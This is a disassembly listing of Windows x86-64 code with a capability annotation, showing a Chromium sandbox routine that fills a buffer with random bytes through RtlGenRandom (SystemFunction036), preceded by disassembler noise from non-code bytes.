jmp qword [sym.imp.KERNEL32.dll_SetLastError]
nop
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
and dword [rsi - 0x6c], ebp
invalid
add byte es:[rdx + 0x4a55517], ch
imul bh
out dx, eax
jbe 0x140078c62
invalid
fild dword [rdi + 0x45]
sub al, 0xf
jp 0x140078ccf
invalid
invalid
loopne 0x140078ca2
mov esi, 0xeaa0773e
invalid

Function at 0x140006b40
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x140
mov rax, qword [0x14003f010]
xor rax, rsp
mov qword [rsp + 0x138], rax
test rdx, rdx
je 0x140006bd0
mov rsi, rdx
mov rdi, rcx
mov r13d, 0xffffffff
lea r14, str.z:_task_1579288126_build_src_security_sandbox_chromium_base_rand_util_win.cc
lea r15, str.success
lea r12, [rsp + 0x28]
jmp 0x140006b98
add rdi, rbx
sub rsi, rbx
je 0x140006bd0
cmp rsi, r13
mov ebx, 0xffffffff
cmovb rbx, rsi
mov rcx, rdi
mov edx, ebx
call sub.ADVAPI32.dll_SystemFunction036
test al, al
jne 0x140006b90
mov rcx, r12
mov rdx, r14
mov r8d, 0x20
mov r9, r15
call fcn.1400016f0
mov rcx, r12
call fcn.1400017f0
jmp 0x140006b90
mov rcx, qword [rsp + 0x138]
xor rcx, rsp
call fcn.1400365a0
nop
add rsp, 0x140
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret